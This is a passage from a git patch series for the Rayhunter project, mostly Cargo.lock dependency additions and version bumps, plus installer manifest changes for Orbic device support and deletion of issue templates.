"9fbfd9d094a40bf3ae768db9361049ace4c0e04a4fd6b359518bd7b73a73dd97" +dependencies = [ + "rand_chacha 0.9.0", + "rand_core 0.9.3", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", +] + +[[package]] +name = "rand_chacha" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3022b5f1df60f26e1ffddd6c66e8aa15de382ae63b3a0c1bfc0e4d3e3f325cb" +dependencies = [ + "ppv-lite86", + "rand_core 0.9.3", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.16", +] + +[[package]] +name = "rand_core" +version = "0.9.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99d9a13982dcf210057a8a78572b2217b667c3beacbf3a0d8b454f6f82837d38" +dependencies = [ + "getrandom 0.3.2", +] + +[[package]] +name = "rav1e" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cd87ce80a7665b1cce111f8a16c1f3929f6547ce91ade6addf4ec86a8dda5ce9" +dependencies = [ + "arbitrary", + "arg_enum_proc_macro", + "arrayvec", + "av1-grain", + "bitstream-io", + "built", + "cfg-if", + "interpolate_name", + "itertools", + "libc", + "libfuzzer-sys", + "log", + "maybe-rayon", + "new_debug_unreachable", + "noop_proc_macro", + "num-derive", + "num-traits", + "once_cell", + "paste", + "profiling", + "rand 0.8.5", + "rand_chacha 0.3.1", + "simd_helpers", + "system-deps", + "thiserror 1.0.57", + "v_frame", + "wasm-bindgen", +] + +[[package]] +name = "ravif" +version = "0.11.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6a5f31fcf7500f9401fea858ea4ab5525c99f2322cfcee732c0e6c74208c0c6" +dependencies = [ + "avif-serialize", + "imgref", + "loop9", + "quick-error", + "rav1e", + "rayon", + "rgb", +] + [[package]] name = "rayhunter" version = "0.2.8" @@ -1450,7 +2460,7 @@ dependencies = [ "pcap-file-tokio", "serde", "telcom-parser", - "thiserror", + "thiserror 1.0.57", "tokio", ] @@ -1475,13 +2485,46 @@ dependencies = [ "serde_json", "simple_logger", "tempfile", - "thiserror", + "thiserror 1.0.57", "tokio", "tokio-stream", "tokio-util", "toml", ] +[[package]] +name = "rayon" +version = "1.10.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b418a60154510ca1a002a752ca9714984e21e4241e804d32555251faf8b78ffa" +dependencies = [ + "either", + "rayon-core", +] + +[[package]] +name = "rayon-core" +version = "1.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1465873a3dfdaa8ae7cb14b4383657caab0b3e8a0aa9ae8e04b044854c8dfce2" +dependencies = [ + "crossbeam-deque", + "crossbeam-utils", +] + +[[package]] +name = "rcgen" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75e669e5202259b5314d1ea5397316ad400819437857b90861765f24c4cf80a2" +dependencies = [ + "pem", + "ring", + "rustls-pki-types", + "time", + "yasna", +] + [[package]] name = "redox_syscall" version = "0.4.1" @@ -1493,9 +2536,9 @@ dependencies = [ [[package]] name = "regex" -version = "1.10.3" +version = "1.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b62dbe01f0b06f9d8dc7d49e05a0785f153b00b2c227856282f671e0318c9b15" +checksum = "b544ef1b4eac5dc2db33ea63606ae9ffcfac26c1416a2806ae0bf5f56b201191" dependencies = [ "aho-corasick", "memchr", @@ -1505,9 +2548,9 @@ dependencies = [ [[package]] name = "regex-automata" -version = "0.4.5" +version = "0.4.9" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5bb987efffd3c6d0d8f5f89510bb458559eab11e4f869acb20bf845e016259cd" +checksum = "809e8dc61f6de73b46c85f4c96486310fe304c434cfa43669d7b40f711150908" dependencies = [ "aho-corasick", "memchr", @@ -1516,9 +2559,9 @@ dependencies = [ [[package]] name = "regex-syntax" -version = "0.8.2" +version = "0.8.5" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c08c74e62047bb2de4ff487b251e4a92e24f48745648451635cec7d591162d9f" +checksum = "2b15c43186be67a4fd63bee50d0303afffcef381492ebe2c5d87f324e1b8815c" [[package]] name = "reqwest" @@ -1556,6 +2599,26 @@ dependencies = [ "windows-registry", ] +[[package]] +name = "rgb" +version = "0.8.50" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "57397d16646700483b67d2dd6511d79318f9d057fdbd21a4066aeac8b41d310a" + +[[package]] +name = "ring" +version = "0.17.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a4689e6c2294d81e88dc6261c768b63bc4fcdb852be6d1352498b114f61383b7" +dependencies = [ + "cc", + "cfg-if", + "getrandom 0.2.16", + "libc", + "untrusted", + "windows-sys 0.52.0", +] + [[package]] name = "rootshell" version = "0.2.8" @@ -1563,12 +2626,38 @@ dependencies = [ "nix", ] +[[package]] +name = "rsa" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78928ac1ed176a5ca1d17e578a1825f3d81ca54cf41053a592584b020cfd691b" +dependencies = [ + "const-oid", + "digest", + "num-bigint-dig", + "num-integer", + "num-traits", + "pkcs1", + "pkcs8", + "rand_core 0.6.4", + "signature", + "spki", + "subtle", + "zeroize", +] + [[package]] name = "rustc-demangle" version = "0.1.23" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d626bb9dae77e28219937af045c257c28bfd3f69333c512553507f5f9798cb76" +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + [[package]] name = "rustix" version = "0.38.34" @@ -1582,6 +2671,39 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "rustls" +version = "0.23.26" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df51b5869f3a441595eac5e8ff14d486ff285f7b8c0df8770e49c3b56351f0f0" +dependencies = [ + "aws-lc-rs", + "log", + "once_cell", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-pki-types" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "917ce264624a4b4db1c364dcc35bfca9ded014d0a958cd47ad3e960e988ea51c" + +[[package]] +name = "rustls-webpki" +version = "0.103.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fef8b8769aaccf73098557a87cd1816b4f9c7c16811c9c77142aa695c16f2c03" +dependencies = [ + "aws-lc-rs", + "ring", + "rustls-pki-types", + "untrusted", +] + [[package]] name = "rustversion" version = "1.0.20" @@ -1642,6 +2764,17 @@ dependencies = [ "serde", ] +[[package]] +name = "serde_repr" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "175ee3e80ae9982737ca543e96133087cbd9a485eecc3bc4de9c1a37b47ea59c" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + [[package]] name = "serde_spanned" version = "0.6.8" @@ -1664,12 +2797,25 @@ dependencies = [ ] [[package]] -name = "serial" -version = "0.2.6" +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" dependencies = [ - "anyhow", - "nusb", - "tokio", + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "793db75ad2bcafc3ffa7c68b215fee268f537982cd901d132f89c6343f3a3dc8" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", ] [[package]] @@ -1687,12 +2833,31 @@ dependencies = [ "libc", ] +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest", + "rand_core 0.6.4", +] + [[package]] name = "simd-adler32" version = "0.3.7" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d66dc143e6b11c1eddc06d5c423cfc97062865baf299914ab64caa38182078fe" +[[package]] +name = "simd_helpers" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "95890f873bec569a0362c235787f3aca6e1e887302ba4840839bcc6459c42da6" +dependencies = [ + "quote", +] + [[package]] name = "simple_logger" version = "5.0.0" @@ -1730,6 +2895,25 @@ dependencies = [ "windows-sys 0.52.0", ] +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" +dependencies = [ + "lock_api", +] + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + [[package]] name = "stable_deref_trait" version = "1.2.0" @@ -1742,6 +2926,12 @@ version = "0.11.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + [[package]] name = "syn" version = "1.0.109" @@ -1784,12 +2974,31 @@ dependencies = [ "syn 2.0.100", ] +[[package]] +name = "system-deps" +version = "6.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a3e535eb8dded36d55ec13eddacd30dec501792ff23a0b1682c38601b8cf2349" +dependencies = [ + "cfg-expr", + "heck 0.5.0", + "pkg-config", + "toml", + "version-compare", +] + [[package]] name = "tap" version = "1.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" +[[package]] +name = "target-lexicon" +version = "0.12.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1" + [[package]] name = "telcom-parser" version = "0.2.8" @@ -1800,7 +3009,7 @@ dependencies = [ "bitvec", "log", "serde", - "thiserror", + "thiserror 1.0.57", ] [[package]] @@ -1830,7 +3039,16 @@ version = "1.0.57" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "1e45bcbe8ed29775f228095caf2cd67af7a4ccf756ebff23a306bf3e8b47b24b" dependencies = [ - "thiserror-impl", + "thiserror-impl 1.0.57", +] + +[[package]] +name = "thiserror" +version = "2.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708" +dependencies = [ + "thiserror-impl 2.0.12", ] [[package]] @@ -1844,6 +3062,28 @@ dependencies = [ "syn 2.0.100", ] +[[package]] +name = "thiserror-impl" +version = "2.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "tiff" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba1310fcea54c6a9a4fd1aad794ecc02c31682f6bfbecdf460bf19533eed1e3e" +dependencies = [ + "flate2", + "jpeg-decoder", + "weezl", +] + [[package]] name = "time" version = "0.3.37" @@ -1926,11 +3166,21 @@ dependencies = [ "syn 2.0.100", ] +[[package]] +name = "tokio-retry2" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1264d076dd34560544a2799e40e457bd07c43d30f4a845686b031bcd8455c84f" +dependencies = [ + "pin-project", + "tokio", +] + [[package]] name = "tokio-stream" -version = "0.1.14" +version = "0.1.17" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "397c988d37662c7dda6d2208364a706264bf3d6138b11d436cbac0ad38832842" +checksum = "eca58d7bba4a75707817a2c44174253f9236b2d5fbd055602e9d5c07c139a047" dependencies = [ "futures-core", "pin-project-lite", @@ -2046,6 +3296,12 @@ version = "0.2.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" +[[package]] +name = "typenum" +version = "1.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dccffe3ce07af9386bfd29e80c0ab1a8205a2fc34e4bcd40364df902cfa8f3f" + [[package]] name = "unicase" version = "2.7.0" @@ -2061,6 +3317,12 @@ version = "1.0.12" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + [[package]] name = "url" version = "2.5.4" @@ -2090,6 +3352,23 @@ version = "0.2.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" +[[package]] +name = "v_frame" +version = "0.3.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6f32aaa24bacd11e488aa9ba66369c7cd514885742c9fe08cfe85884db3e92b" +dependencies = [ + "aligned-vec", + "num-traits", + "wasm-bindgen", +] + +[[package]] +name = "version-compare" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "852e951cb7832cb45cb1169900d19760cfa39b82bc0ea9c0e5a14ae88411c98b" + [[package]] name = "version_check" version = "0.9.4" @@ -2111,6 +3390,15 @@ version = "0.11.0+wasi-snapshot-preview1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" +[[package]] +name = "wasi" +version = "0.14.2+wasi-0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3" +dependencies = [ + "wit-bindgen-rt", +] + [[package]] name = "wasm-bindgen" version = "0.2.100" @@ -2198,6 +3486,24 @@ version = "0.1.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53a85b86a771b1c87058196170769dd264f66c0782acf1ae6cc51bfd64b39082" +[[package]] +name = "which" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87ba24419a2078cd2b0f2ede2691b6c66d8e47836da3b6db8265ebad47afbfc7" +dependencies = [ + "either", + "home", + "once_cell", + "rustix", +] + +[[package]] +name = "widestring" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd7cf3379ca1aac9eea11fba24fd7e315d621f8dfe35c8d7d2be8b793726e07d" + [[package]] name = "winapi" version = "0.3.9" @@ -2229,13 +3535,57 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" +[[package]] +name = "windows" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "12342cb4d8e3b046f3d80effd474a7a02447231330ef77d71daa6fbc40681143" +dependencies = [ + "windows-core 0.57.0", + "windows-targets 0.52.6", +] + [[package]] name = "windows-core" version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" dependencies = [ - "windows-targets 0.52.3", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-core" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d2ed2439a290666cd67ecce2b0ffaad89c2a56b976b736e6ece670297897832d" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-result 0.1.2", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-implement" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9107ddc059d5b6fbfbffdfa7a7fe3e22a226def0b2608f72e9d552763d3e1ad7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + +[[package]] +name = "windows-interface" +version = "0.57.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29bee4b38ea3cde66011baa44dba677c432a78593e202392d1e9070cf2a7fca7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", ] [[package]] @@ -2250,11 +3600,20 @@ version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "4286ad90ddb45071efd1a66dfa43eb02dd0dfbae1545ad6cc3c51cf34d7e8ba3" dependencies = [ - "windows-result", + "windows-result 0.3.2", "windows-strings", "windows-targets 0.53.0", ] +[[package]] +name = "windows-result" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e383302e8ec8515204254685643de10811af0ed97ea37210dc26fb0032647f8" +dependencies = [ + "windows-targets 0.52.6", +] + [[package]] name = "windows-result" version = "0.3.2" @@ -2288,7 +3647,16 @@ version = "0.52.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" dependencies = [ - "windows-targets 0.52.3", + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", ] [[package]] @@ -2308,17 +3676,18 @@ dependencies = [ [[package]] name = "windows-targets" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d380ba1dc7187569a8a9e91ed34b8ccfc33123bbacb8c0aed2d1ad7f3ef2dc5f" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" dependencies = [ - "windows_aarch64_gnullvm 0.52.3", - "windows_aarch64_msvc 0.52.3", - "windows_i686_gnu 0.52.3", - "windows_i686_msvc 0.52.3", - "windows_x86_64_gnu 0.52.3", - "windows_x86_64_gnullvm 0.52.3", - "windows_x86_64_msvc 0.52.3", + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", ] [[package]] @@ -2330,7 +3699,7 @@ dependencies = [ "windows_aarch64_gnullvm 0.53.0", "windows_aarch64_msvc 0.53.0", "windows_i686_gnu 0.53.0", - "windows_i686_gnullvm", + "windows_i686_gnullvm 0.53.0", "windows_i686_msvc 0.53.0", "windows_x86_64_gnu 0.53.0", "windows_x86_64_gnullvm 0.53.0", @@ -2345,9 +3714,9 @@ checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" [[package]] name = "windows_aarch64_gnullvm" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "68e5dcfb9413f53afd9c8f86e56a7b4d86d9a2fa26090ea2dc9e40fba56c6ec6" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" [[package]] name = "windows_aarch64_gnullvm" @@ -2363,9 +3732,9 @@ checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" [[package]] name = "windows_aarch64_msvc" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8dab469ebbc45798319e69eebf92308e541ce46760b49b18c6b3fe5e8965b30f" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" [[package]] name = "windows_aarch64_msvc" @@ -2381,9 +3750,9 @@ checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" [[package]] name = "windows_i686_gnu" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2a4e9b6a7cac734a8b4138a4e1044eac3404d8326b6c0f939276560687a033fb" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" [[package]] name = "windows_i686_gnu" @@ -2391,6 +3760,12 @@ version = "0.53.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + [[package]] name = "windows_i686_gnullvm" version = "0.53.0" @@ -2405,9 +3780,9 @@ checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" [[package]] name = "windows_i686_msvc" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "28b0ec9c422ca95ff34a78755cfa6ad4a51371da2a5ace67500cf7ca5f232c58" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" [[package]] name = "windows_i686_msvc" @@ -2423,9 +3798,9 @@ checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" [[package]] name = "windows_x86_64_gnu" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "704131571ba93e89d7cd43482277d6632589b18ecf4468f591fbae0a8b101614" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" [[package]] name = "windows_x86_64_gnu" @@ -2441,9 +3816,9 @@ checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" [[package]] name = "windows_x86_64_gnullvm" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "42079295511643151e98d61c38c0acc444e52dd42ab456f7ccfd5152e8ecf21c" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" [[package]] name = "windows_x86_64_gnullvm" @@ -2459,9 +3834,9 @@ checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" [[package]] name = "windows_x86_64_msvc" -version = "0.52.3" +version = "0.52.6" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0770833d60a970638e989b3fa9fd2bb1aaadcf88963d1659fd7d9990196ed2d6" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" [[package]] name = "windows_x86_64_msvc" @@ -2478,6 +3853,15 @@ dependencies = [ "memchr", ] +[[package]] +name = "wit-bindgen-rt" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1" +dependencies = [ + "bitflags 2.6.0", +] + [[package]] name = "write16" version = "1.0.0" @@ -2499,6 +3883,15 @@ dependencies = [ "tap", ] +[[package]] +name = "yasna" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e17bb3549cc1321ae1296b9cdc2698e2b6cb1992adfa19a8c72e5b7a738f44cd" +dependencies = [ + "time", +] + [[package]] name = "yoke" version = "0.7.5" @@ -2529,7 +3922,16 @@ version = "0.7.32" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "74d4d3961e53fa4c9a25a8637fc2bfaf2595b3d3ae34875568a5cf64787716be" dependencies = [ - "zerocopy-derive", + "zerocopy-derive 0.7.32", +] + +[[package]] +name = "zerocopy" +version = "0.8.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1702d9583232ddb9174e01bb7c15a2ab8fb1bc6f227aa1233858c351a3ba0cb" +dependencies = [ + "zerocopy-derive 0.8.25", ] [[package]] @@ -2543,6 +3945,17 @@ dependencies = [ "syn 2.0.100", ] +[[package]] +name = "zerocopy-derive" +version = "0.8.25" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28a6e20d751156648aa063f3800b706ee209a32c0b4d9f24be3d980b01be55ef" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.100", +] + [[package]] name = "zerofrom" version = "0.1.6" @@ -2564,6 +3977,12 @@ dependencies = [ "synstructure", ] +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" + [[package]] name = "zerovec" version = "0.10.4" @@ -2585,3 +4004,27 @@ dependencies = [ "quote", "syn 2.0.100", ] + +[[package]] +name = "zune-core" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f423a2c17029964870cfaabb1f13dfab7d092a62a29a89264f4d36990ca414a" + +[[package]] +name = "zune-inflate" +version = "0.2.54" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73ab332fe2f6680068f3582b16a24f90ad7096d5d39b974d1c0aff0125116f02" +dependencies = [ + "simd-adler32", +] + +[[package]] +name = "zune-jpeg" +version = "0.4.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99a5bab8d7dedf81405c4bb1f2b83ea057643d9cb28778cea9eecddeedd2e028" +dependencies = [ + "zune-core", +] diff --git a/installer/Cargo.toml b/installer/Cargo.toml index 66a84f70..edc352e7 100644 --- a/installer/Cargo.toml +++ b/installer/Cargo.toml @@ -7,10 +7,16 @@ edition = "2024" vendor = [] [dependencies] +adb_client = { git = "https://github.com/gaykitty/adb_client.git", branch = "nusb" } +# adb_client = { path = "../../adb_client/adb_client" } anyhow = "1.0.98" clap = { version = "4.5.37", features = ["derive"] } md5 = "0.7.0" +nusb = "0.1.13" reqwest = { version = "0.12.15", features = ["json"], default-features = false } serde = { version = "1.0.219", features = ["derive"] } serde_json = "1.0.140" +sha2 = "0.10.8" tokio = { version = "1.44.2", features = ["full"] } +tokio-retry2 = "0.5.7" +tokio-stream = "0.1.17" diff --git a/serial/src/main.rs b/installer/src/orbic.rs similarity index 100% rename from serial/src/main.rs rename to installer/src/orbic.rs diff --git a/serial/Cargo.toml b/serial/Cargo.toml deleted file mode 100644 index 127bfeac..00000000 --- a/serial/Cargo.toml +++ /dev/null @@ -1,11 +0,0 @@ -[package] -name = "serial" -version = "0.2.6" -edition = "2021" - -# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html - -[dependencies] -anyhow = "1.0.97" -nusb = "0.1.13" -tokio = { version = "1.44.2", features = ["macros", "rt", "time"] } From 34f407db7101c7d8d15e10788dd2a3413e052789 Mon Sep 17 00:00:00 2001 From: Sashanoraa Date: Sat, 26 Apr 2025 21:05:48 -0400 Subject: [PATCH 07/14] Add Orbic support for the Rust installer and some common improvements --- .github/workflows/ISSUE_TEMPLATE/bug.yaml | 62 ---- .github/workflows/ISSUE_TEMPLATE/config.yaml | 8 - .github/workflows/ISSUE_TEMPLATE/feature.yaml | 27 -- .github/workflows/build-release.yml | 7 +- .github/workflows/check-and-test.yml | 14 + .gitignore | 1 + Cargo.toml | 4 +- installer/src/main.rs | 18 +- installer/src/orbic.rs | 326 ++++++++++++++++-- 9 files changed, 329 insertions(+), 138 deletions(-) delete mode 100644 .github/workflows/ISSUE_TEMPLATE/bug.yaml delete mode 100644 .github/workflows/ISSUE_TEMPLATE/config.yaml delete mode 100644 .github/workflows/ISSUE_TEMPLATE/feature.yaml diff --git a/.github/workflows/ISSUE_TEMPLATE/bug.yaml b/.github/workflows/ISSUE_TEMPLATE/bug.yaml deleted file mode 100644 index dee07196..00000000 --- a/.github/workflows/ISSUE_TEMPLATE/bug.yaml +++ /dev/null @@ -1,62 +0,0 @@ -name: Bug Report -description: File a bug report. -title: "[Bug]: " -type: Bug -body: - - type: markdown - attributes: - value: | - Thanks for taking the time to fill out this bug report! - - type: input - attributes: - label: Rayhunter Version - description: | - Which version did you install? - placeholder: v0.2.6 - - type: input - attributes: - label: Capture Date - description: | - YYYY-MM-DD - placeholder: 2025-05-01 - validations: - required: true - - type: input - attributes: - label: Capture Location - description: | - (If comfortable disclosing) What region or country were you in? - placeholder: Washington State - validations: - required: false - - type: input - attributes: - label: Device and Model - description: | - Device you installed Rayhunter on to. - placeholder: Orbic RC400L - validations: - required: true - - type: textarea - id: what-happened - attributes: - label: What happened? - description: | - What steps did you take to get to your issue? - placeholder: Tell us what you see! - validations: - required: true - - type: textarea - id: expected - attributes: - label: Expected behavior - description: Rayhunter's behavior differed from what I expected because. - placeholder: "What was expected?" - validations: - required: true - - type: textarea - id: logs - attributes: - label: Relevant log output - description: Rayhunter data captures (QMDL and PCAP logs) or error codes - render: shell diff --git a/.github/workflows/ISSUE_TEMPLATE/config.yaml b/.github/workflows/ISSUE_TEMPLATE/config.yaml 